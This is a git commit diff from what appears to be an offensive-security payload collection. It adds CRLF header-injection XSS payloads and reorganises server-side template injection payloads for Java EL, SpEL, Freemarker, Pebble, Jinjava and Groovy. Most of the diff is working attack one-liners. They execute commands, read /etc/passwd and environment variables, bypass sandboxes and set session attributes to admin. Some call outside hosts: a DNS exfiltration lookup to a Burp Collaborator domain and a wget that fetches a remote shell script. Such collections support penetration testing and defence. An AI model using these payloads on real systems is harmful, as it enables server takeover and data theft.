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SSTI - SpEL

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10
CRLF Injection/README.md
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@ -133,9 +133,15 @@ Firefox followed the spec by stripping off any out-of-range characters when sett
The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox. The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
Using UTF-8 encoding: `嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾` An example payload using UTF-8 characters would be:
```http ```js
嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾
```
URL encoded version
```js
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE %E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
``` ```

95
Server Side Template Injection/ExpressionLanguage.md
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@ -1,95 +0,0 @@
# Server Side Template Injection - Expression Language
## Summary
- [Expression Language EL](#expression-language-el)
- [Expression Language EL - Basic injection](#expression-language-el---basic-injection)
- [Expression Language EL - One-Liner injections not including code execution](#expression-language-el---one-liner-injections-not-including-code-execution)
- [Expression Language EL - Code Execution](#expression-language-el---code-execution)
- [References](#references)
## Expression Language EL
[Official website](https://docs.oracle.com/javaee/6/tutorial/doc/gjddd.html)
> Expression Language (EL) is mechanism that simplifies the accessibility of the data stored in Java bean component and other object like request, session and application, etc. There are many operators in JSP that are used in EL like arithmetic and logical operators to perform an expression. It was introduced in JSP 2.0
### Expression Language EL - Basic injection
```java
${<property>}
${1+1}
#{<expression string>}
#{1+1}
T(<javaclass>)
```
### Expression Language EL - Properties
* Interesting properties to access `String`, `java.lang.Runtime`
```ps1
${2.class}
${2.class.forName("java.lang.String")}
${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}
```
### Expression Language EL - One-Liner injections not including code execution
```java
// DNS Lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
// JVM System Property Lookup (ex: java.class.path)
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
// Modify session attributes
${pageContext.request.getSession().setAttribute("admin",true)}
```
### Expression Language EL - Code Execution
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
// Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using process builder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using JavaClass
T(java.lang.Runtime).getRuntime().exec('whoami').x
// Method using ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
```
## References
- [Bean Stalking: Growing Java beans into RCE - Alvaro Munoz - July 7, 2020](https://securitylab.github.com/research/bean-validation-RCE)
- [Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Peter M (@pmnh_) - December 4, 2022](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
- [Expression Language Injection - OWASP - December 4, 2019](https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection)
- [Expression Language injection - PortSwigger - January 27, 2019](https://portswigger.net/kb/issues/00100f20_expression-language-injection)
- [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/)
- [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
- [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)

139
Server Side Template Injection/Java.md
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@ -7,29 +7,33 @@
- [Templating Libraries](#templating-libraries) - [Templating Libraries](#templating-libraries)
- [Java](#java) - [Java](#java)
- [Java - Basic injection](#java---basic-injection) - [Java - Basic Injection](#java---basic-injection)
- [Java - Retrieve the system’s environment variables](#java---retrieve-the-systems-environment-variables) - [Java - Retrieve Environment Variables](#java---retrieve-environment-variables)
- [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd) - [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd)
- [Freemarker](#freemarker) - [Freemarker](#freemarker)
- [Freemarker - Basic injection](#freemarker---basic-injection) - [Freemarker - Basic Injection](#freemarker---basic-injection)
- [Freemarker - Read File](#freemarker---read-file) - [Freemarker - Read File](#freemarker---read-file)
- [Freemarker - Code execution](#freemarker---code-execution) - [Freemarker - Code Execution](#freemarker---code-execution)
- [Freemarker - Sandbox bypass](#freemarker---sandbox-bypass) - [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass)
- [Codepen](#codepen) - [Codepen](#codepen)
- [Jinjava](#jinjava) - [Jinjava](#jinjava)
- [Jinjava - Basic injection](#jinjava---basic-injection) - [Jinjava - Basic Injection](#jinjava---basic-injection)
- [Jinjava - Command execution](#jinjava---command-execution) - [Jinjava - Command Execution](#jinjava---command-execution)
- [Pebble](#pebble) - [Pebble](#pebble)
- [Pebble - Basic injection](#pebble---basic-injection) - [Pebble - Basic Injection](#pebble---basic-injection)
- [Pebble - Code execution](#pebble---code-execution) - [Pebble - Code Execution](#pebble---code-execution)
- [Velocity](#velocity) - [Velocity](#velocity)
- [Spring](#spring)
- [Groovy](#groovy) - [Groovy](#groovy)
- [Groovy - Basic injection](#groovy---basic-injection) - [Groovy - Basic Injection](#groovy---basic-injection)
- [Groovy - Read and create File](#groovy---read-and-create-file) - [Groovy - Read File](#groovy---read-file)
- [Groovy - HTTP request:](#groovy---http-request) - [Groovy - HTTP Request:](#groovy---http-request)
- [Groovy - Command Execution](#groovy---command-execution) - [Groovy - Command Execution](#groovy---command-execution)
- [Groovy - Sandbox Bypass](#groovy---sandbox-bypass) - [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)
- [Spring Expression Language](#spring-expression-language)
- [SpEL - Basic Injection](#spel---basic-injection)
- [SpEL - DNS Exfiltration](#spel---dns-exfiltration)
- [SpEL - Session Attributes](#spel---session-attributes)
- [SpEL - Command Execution](#spel---command-execution)
- [References](#references) - [References](#references)
@ -49,7 +53,7 @@
## Java ## Java
### Java - Basic injection ### Java - Basic Injection
> Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`. > Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.
@ -61,7 +65,7 @@ ${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()} ${class.getResource("../../../../../index.htm").getContent()}
``` ```
### Java - Retrieve the system’s environment variables ### Java - Retrieve Environment Variables
```java ```java
${T(java.lang.System).getenv()} ${T(java.lang.System).getenv()}
@ -84,7 +88,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
### Freemarker - Basic injection ### Freemarker - Basic Injection
The template can be : The template can be :
@ -99,7 +103,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
Convert the returned bytes to ASCII Convert the returned bytes to ASCII
``` ```
### Freemarker - Code execution ### Freemarker - Code Execution
```js ```js
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
@ -109,7 +113,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")] [="freemarker.template.utility.Execute"?new()("id")]
``` ```
### Freemarker - Sandbox bypass ### Freemarker - Sandbox Bypass
:warning: only works on Freemarker versions below 2.3.30 :warning: only works on Freemarker versions below 2.3.30
@ -146,7 +150,7 @@ ${dwf.newInstance(ec,null)("id")}
[Official website](https://github.com/HubSpot/jinjava) [Official website](https://github.com/HubSpot/jinjava)
> Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content). > Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).
### Jinjava - Basic injection ### Jinjava - Basic Injection
```python ```python
{{'a'.toUpperCase()}} would result in 'A' {{'a'.toUpperCase()}} would result in 'A'
@ -155,9 +159,9 @@ ${dwf.newInstance(ec,null)("id")}
Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
### Jinjava - Command execution ### Jinjava - Command Execution
Fixed by https://github.com/HubSpot/jinjava/pull/230 Fixed by [HubSpot/jinjava PR #230](https://github.com/HubSpot/jinjava/pull/230)
```ps1 ```ps1
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@ -177,13 +181,13 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
> Pebble is a Java templating engine inspired by [Twig](./#twig) and similar to the Python [Jinja](./#jinja2) Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization. > Pebble is a Java templating engine inspired by [Twig](./#twig) and similar to the Python [Jinja](./#jinja2) Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.
### Pebble - Basic injection ### Pebble - Basic Injection
```java ```java
{{ someString.toUPPERCASE() }} {{ someString.toUPPERCASE() }}
``` ```
### Pebble - Code execution ### Pebble - Code Execution
Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`. Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
@ -225,16 +229,6 @@ $str.valueOf($chr.toChars($out.read()))
--- ---
## Spring
```python
*{7*7}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
---
## Groovy ## Groovy
[Official website](https://groovy-lang.org/) [Official website](https://groovy-lang.org/)
@ -243,7 +237,7 @@ $str.valueOf($chr.toChars($out.read()))
Refer to https://groovy-lang.org/syntax.html , but `${9*9}` is the basic injection. Refer to https://groovy-lang.org/syntax.html , but `${9*9}` is the basic injection.
### Groovy - Read and create File ### Groovy - Read File
```groovy ```groovy
${String x = new File('c:/windows/notepad.exe').text} ${String x = new File('c:/windows/notepad.exe').text}
@ -251,7 +245,7 @@ ${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();} ${new File("C:\Temp\FileName.txt").createNewFile();}
``` ```
### Groovy - HTTP request: ### Groovy - HTTP Request
```groovy ```groovy
${"http://www.google.com".toURL().text} ${"http://www.google.com".toURL().text}
@ -280,6 +274,74 @@ or
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") } ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
``` ```
---
## Spring Expression Language
[Official website](https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html)
> The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.
### SpEL - Basic Injection
```java
${7*7}
${'patt'.toString().replace('a', 'x')}
```
### SpEL - DNS Exfiltration
DNS lookup
```java
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
```
### SpEL - Session Attributes
Modify session attributes
```java
${pageContext.request.getSession().setAttribute("admin",true)}
```
### SpEL - Command Execution
* Method using `java.lang.Runtime` #1 - accessed with JavaClass
```java
${T(java.lang.Runtime).getRuntime().exec("COMMAND_HERE")}
```
* Method using `java.lang.Runtime` #2
```java
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
```
* Method using `java.lang.Runtime` #3 - accessed with `invoke`
```java
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('COMMAND_HERE')}
```
* Method using `java.lang.Runtime` #3 - accessed with `javax.script.ScriptEngineManager`
```java
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
```
* Method using `java.lang.ProcessBuilder`
```java
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
```
## References ## References
@ -288,3 +350,10 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val
- [Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf) - [Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
- [Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015](https://www.youtube.com/watch?v=3cT0uE7Y87s) - [Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015](https://www.youtube.com/watch?v=3cT0uE7Y87s)
- [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/) - [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/)
- [Bean Stalking: Growing Java beans into RCE - Alvaro Munoz - July 7, 2020](https://securitylab.github.com/research/bean-validation-RCE)
- [Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Peter M (@pmnh_) - December 4, 2022](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
- [Expression Language Injection - OWASP - December 4, 2019](https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection)
- [Expression Language injection - PortSwigger - January 27, 2019](https://portswigger.net/kb/issues/00100f20_expression-language-injection)
- [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/)
- [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
- [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)